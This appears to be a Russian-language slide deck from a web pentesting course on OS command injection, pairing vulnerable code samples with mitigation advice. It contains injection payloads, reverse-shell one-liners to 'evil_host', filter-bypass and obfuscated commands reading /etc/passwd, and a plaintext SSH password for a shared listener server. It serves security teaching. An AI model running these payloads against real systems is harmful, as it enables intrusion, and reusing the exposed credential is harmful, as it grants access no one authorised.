---
# System prepended metadata

title: Web App Pentest - 0x03 - OS Command Injection
tags: [CSR - Web App Pentest]

---

---
title: Web App Pentest - 0x03 - OS Command Injection
tags: CSR - Web App Pentest
slideOptions:
  transition: 'fade'
  parallaxBackgroundImage: 'https://i.imgur.com/YClZ1aY.jpg'
---

<style>
.reveal {
  font-size: 36px;
}
</style>


# Web App Pentest 

##  3 - OS Command Injection 

---

Вопросы по заданиям?

---

## Темы занятия

* Уязвимость OS Command injection
* Reverse shell
* Code Injection
* Рекомендации по исключению

---

## Лирическое отсутупление

### Пентест web vs Анализ защищенности web

Цель пентеста - взломать веб-приложение и использовать его для развития атаки. Как правило пентестерам интересны только уязвимости высокого уровня критичности.

Цель анализа защищенности - найти все уязвимости.

---


### Docker 

Docker - система контейнеризации. Для нас удобна тем, что позволяет поднимать приложения одной кнопкой.

BWAPP UP



## OS Command injection

---

## A03:2021-Injection

Уязвимости к инъекциям, таким как инъекции SQL, NoSQL, Command и LDAP, возникают, когда ненадежные данные отправляются интерпретатору как часть команды или запроса. Внедренные данные злоумышленника могут заставить интерпретатор выполнить непреднамеренные команды или дать возможность получить доступ к данным без надлежащей авторизации.

---

## OS Command Injection

Уязвимость при которой веб-приложение небезопасно подставляет данные, полученные от пользователя в текст команды ОС, которая передается в командную оболочку ОС.

---

```php=
<?php

$command = 'mkdir ' + $_REQUEST['dirname'];
system($command);

?>
```

---

```php=
<?php

$command = 'mkdir ' + $_REQUEST['dirname'];
system($command);

?>
```

`http://vuln.example.com/?dirname=tmp; whoami`

---

```php=
<?php

$command = 'mkdir ' + $_REQUEST['dirname'];
system($command);

?>
```

`http://vuln.example.com/?dirname=; whoami`

```php
echo $command;
mkdir tmp; whoami
```

---

## OS Command injection

Пример в bWAPP

`docker run -p 80:80 raesene/bwapp`

* OS Command injection
* Совместная практика - root-me-PHP Command Injection 
* OS Command injection (Blind)

---

## Еще примеры


Пример уязвимости инъекции команд:

```
$command = 'convert -pointsize 72 label:Hello  ' . $_FILES['userfile']['name'];
system($command);
```

Пример эксплуатации для уязвимости выше:

```
------WebKitFormBoundaryePkpFF7tjBAqx29L
Content-Disposition: form-data; name="userfile"; filename="check | ls -la;"
Content-Type: application/x-object

... contents of file goes here ...
```


### Code examples


[VulnPlanet - a03 injection code example](https://github.com/yevh/VulnPlanet/blob/main/web2/owasp/A03-Injection.md)
[VulnPlanet - command injection](https://github.com/yevh/VulnPlanet/blob/main/web2/type/Command_Injection.md)


#### PHP  CVE-2019-16663
[Two unpatched RCE flaws in rConfig software expose servers to hack](https://securityaffairs.com/93391/hacking/rconfig-rce-flaws.html)
```php!
<?php
$rootUname = $_GET['rootUname'];
$array = array();
/* check PHP Safe_Mode is off */
if (ini_get('safe_mode')) {
    $array['phpSafeMode'] = '<strong><font class="bad">Fail - php safe mode is on - turn it off before you proceed with the installation</strong></font>br/>';
} else {
    $array['phpSafeMode'] = '<strong><font class="Good">Pass - php safe mode is off</strong></font><br/>';
}
/* Test root account details */
$rootTestCmd1 = 'sudo -S -u ' . $rootUname . ' chmod 0777 /home 2>&1';
exec($rootTestCmd1, $cmdOutput, $err);
$homeDirPerms = substr(sprintf('%o', fileperms('/home')), -4);
if ($homeDirPerms == '0777') {
    $array['rootDetails'] = '<strong><font class="Good">Pass - root account details are good </strong></font><br/>';
} else {
    $array['rootDetails'] = '<strong><font class="bad">The root details provided have not passed: ' . $cmdOutput[0] . '</strong></font><br/>';
}
// reset /home dir permissions
$rootTestCmd2 = 'sudo -S -u ' . $rootUname . ' chmod 0755 /home 2>&1';
exec($rootTestCmd2, $cmdOutput, $err);
echo json_encode($array);
```



[Code Security Advent Calendar 2022 | Can you Spot the Vulnerability? | Sonar](https://www.sonarsource.com/knowledge/code-challenges/advent-calendar-2022/) - day 10 - java

[Real attack - PHP Supply Chain Attack on Composer](https://www.sonarsource.com/blog/php-supply-chain-attack-on-composer/)

```java!
@WebServlet(name = "MercurialImporterServlet", urlPatterns = {"/check"})

public class MercurialImporterServlet extends HttpServlet {
    @Override
    protected void doPut(HttpServletRequest req, HttpServletResponse res) throws IOException {
        res.setContentType("text/plain");
        var out = res.getOutputStream();
        if (req.getParameter("repository") == null 
            || req.getParameter("repository").indexOf("$(") != -1 
            || req.getParameter("repository").indexOf("`") != -1) {
            res.setStatus(405);
            return;
        }
        var cmd = new String[] {
            "hg",
            "identify",
            req.getParameter("repository")
        };
        var p = Runtime.getRuntime().exec(cmd);
        var br = new BufferedReader(new InputStreamReader(p.getInputStream()));
        String l;

        while ((l = br.readLine()) != null) {
            out.write(l.getBytes("ascii"));
        }
        br.close();
    }
}
```

`repository=--config=alias.identify=!id`




## Reverse shell

Соединяется по TCP на слушаемый атакующим адрес/порт и позволяет атакующему выполнять команды в ОС жертвы.

[cheat sheet](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md)

https://www.revshells.com/

Два основных варианта:
* /bin/bash -c "/bin/bash -i &>/dev/tcp/evil_host/4444 <&1"
* nc evil_host 4444 -e /bin/bash

Вопрос: Зачем обертка в первом варианте?

---

## Back connect receiver

Для тех, у кого нету сервера в интернете

Коннектится так:
`ssh cybered@ttesting.ru -p 2222`

Пароль: cybered_password

На Windows можно использовать ~~putty или xshell~~ тоже
`ssh cybered@ttesting.ru -p 2222`

Вам будут доступны порты 7000-7100

Слушать порт:
`nc -lvp <ваш_порт>`

---

## Совместная практика

- `Reverse Shell`

---

## Прокачать reverse shell

https://blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-ttys/

```
# In reverse shell
$ python3 -c 'import pty; pty.spawn("/bin/bash")'
Ctrl-Z

# In Kali
$ stty -a (понять сколько rows и columns, использовать в последней команде)
$ stty raw -echo
$ fg

# In reverse shell
$ export SHELL=bash
$ export TERM=xterm-256color
$ reset
$ stty rows <num> columns <cols>
```

---

## OS Command injection - техники

Отделение одной команды от другой:
* `;`
* `|`
* символ новой строки (0x0a)
* логических операторов `&&` или `||` (в зависимости от результата первой команды)

Выполнение подкоманды:
* в бэктиках ``` `ls` ```;
* через доллар `$(ls)`
* перенаправление в подпроцесс ` >(/bin/bash ....)`

---

### Мета - символы

| Injection Operator | Injection Character | URL-Encoded Character | Executed Command |
|-|-|-|-|
|Semicolon| ;|%3b|Both|
|New Line| \n|%0a|Both|
|Background| &|%26|Both (second output generally shown first)|
|Pipe| \||%7c|Both (only second output is shown)|
|AND| &&|%26%26|Both (only if first succeeds)|
|OR| \|\||%7c%7c|Second (only if first fails)|
|Sub-Shell|  `` |%60%60|Both (Linux-only)|
|Sub-Shell| $()|%24%28%29|Both (Linux-only)|

___

## OS Command injection - обход фильтрации

`$IFS` - переменная среды, хранит символ разделителя полей, по умолчанию это пробел.
Можно использовать вместо пробела при его недоступности:
`cat$IFS/etc/passwd`

Также программы можно вызывать через фигурные скобки
`{cat,/etc/issue}`

Также так
`cat</etc/passwd`

А еще так
`c"a"t /e*c/""p?ss*d`


И даже вот так

`${!#}<<<{\$\'\\$(($((${##}<<${##}))#${##}$#$#$#${##}${##}${##}$#))\'\$\'\\$(($((${##}<<${##}))#${##}$#$#$#${##}${##}$#${##}))\'\$\'\\$(($((${##}<<${##}))#${##}$#${##}$#$#$#${##}${##}))\'\$\'\\$(($((${##}<<${##}))#${##}$#$#${##}$#${##}${##}$#))\',\$\'\\$(($((${##}<<${##}))#${##}${##}$#${##}${##}${##}))\'\$\'\\$(($((${##}<<${##}))#${##}$#$#$#${##}${##}${##}${##}))\',\$\'\\$(($((${##}<<${##}))#${##}$#$#$#${##}${##}${##}${##}))\\$(($((${##}<<${##}))#${##}$#$#$#${##}${##}$#${##}))\\$(($((${##}<<${##}))#${##}$#${##}$#$#${##}$#$#))\\$(($((${##}<<${##}))#${##}$#${##}$#$#$#))\\$(($((${##}<<${##}))#${##}${##}${##}$#$#${##}))\\$(($((${##}<<${##}))#${##}$#$#${##}$#$#$#${##}))\\$(($((${##}<<${##}))#${##}$#${##}$#$#${##}$#$#))\\$(($((${##}<<${##}))#${##}$#$#$#${##}${##}${##}${##}))\\$(($((${##}<<${##}))#${##}${##}${##}$#$#${##}))\\$(($((${##}<<${##}))#${##}$#${##}$#$#$#$#$#))\\$(($((${##}<<${##}))#${##}$#$#$#${##}${##}$#${##}))\\$(($((${##}<<${##}))#${##}$#${##}$#$#$#${##}${##}))\\$(($((${##}<<${##}))#${##}$#${##}$#$#$#${##}${##}))\\$(($((${##}<<${##}))#${##}$#${##}$#$#${##}${##}${##}))\\$(($((${##}<<${##}))#${##}$#$#${##}$#$#$#$#))\'}`

---

## Code Injection

Контролируемые атакующим данные подставляются в программный код, после чего он исполняется веб-приложением.

Пример:

bWAPP: PHP Code Injection

---

## OS Command Injection

Результат - **Remote Command Execution**.
Или - **Remote Code Execution**.

И то и другое называют **RCE**

---

## OS Command Injection. Как обнаруживать?

### Сканирование на OS Command Injection

Автоматизированная проверка большого количества векторов атаки.

Вопрос: как проверять что инъекция сработала успешна? Особенно для blind?

---

## OS Command Injection. Как обнаруживать?

### Сканирование на OS Command Injection

Хорошие способы:
- DNS запрос;
- временная задержка.

Вопрос: Почему DNS запрос лучше TCP-коннекта?

https://github.com/sorokinpf/cth_wordlists/tree/master/OS%20cmd%20inj/time-based

<демонстрация в Intruder>

---

## OS Command Injection. Как защититься?

Можно выделить два уровня защиты:

* Валидация входных данных
* Безопасный вызов команд ОС

---

## OS Command injection. Как защититься?

### Валидация

* Соответствие типу данных
* Корректность формата
* Регулярные выражения
* Разрешенный набор символов

---

## OS Command injection. Как защититься?

#### Валидация

ОДНОЙ ВАЛИДАЦИИ НЕДОСТАТОЧНО!!!

Но в некоторых случаях она может предотвратить уязвимости, а также другие "баги"

---

## OS Command injection. Как защититься?

#### Валидация

Современные фреймворки имеют специальные компоненты для валидации

```php=
public function createUser(Request $request)
{
	$this->validate($request, [
		'login' => 'required|max:255',
		'age' => 'required|integer',
		'email' => 'required|email',
		'body' => 'required',
	]);
	...
}
```
Пример: **Laravel**

---

## OS Command injection. Как защититься?

### Безопасный вызов команд ОС

1. Может можно вообще без команд? Для огромного количества различных функций реализованы библиотеки.
1. Используйте функции языка для вызова других программ без обращения к оболочке ОС (proc_open в PHP)
1. По возможности не передавайте пользовательский ввод в командную оболочку.
1. В крайнем случае используйте специальные функции для экранирования (escapeshellargs,escapeshellcmd в PHP)

---

## OS Command injection. Как защититься?

Экранирование специальных символов

Нужно быть аккуратным, некоторые команды могут принимать параметры, приводящие к выполнению команд даже в случае корректной фильтрации. Пример:

```bash=
find . -exec whoami \; -quit
```

Список таких команд: https://gtfobins.github.io/

---

## OS Command injection. Как защититься? PHP

Экранирование специальных символов в PHP:
- escapeshellarg
- escapechellcmd

```php
system("mkdir ".escapeshellarg($_POST['dirname']));
```

---

## OS Command injection. Как защититься? PHP

Вызов команды напрямую, без шелла (PHP>=7.4):

```php
proc_open(['mkdir',$_POST['dirname'] ],[],$pipes);
```

---

## OS Command injection. Как защититься? Java

`Runtime.exec` и `ProcessBuilder` по умолчанию не передает данные в шелл.

Вызывать можно так:
```java
Runtime.exec(['command',param1,param2]);
.. = new ProcessBuilder('command',param1,param2);
```

Но угрозы типа описанной выше для `find` актуальны.

Также все еже может быть:
```java
Runtime.exec(["/bin/bash", "-c", "mkdir " + request.getParameter("value1")]);
```

---

## OS Command injection. Как защититься? C#

`System.Diagnostics.Process.Start` так же не использует shell по умолчанию.

Но
```C#
process.Start("cmd.exe","/c mkdir "+parameter1);
```

---

## Примеры

https://hackerone.com/reports/821962
https://hackerone.com/reports/212696
https://hackerone.com/reports/1360208
https://hackerone.com/reports/389561
https://hackerone.com/reports/303061



___

## Задания


- тест для самопроверки в LMS
- CTFD
- root-me PHP - Command injection
- root-me Command injection - Filter bypass
- PortSwigger Academy - OS Command Injection

---
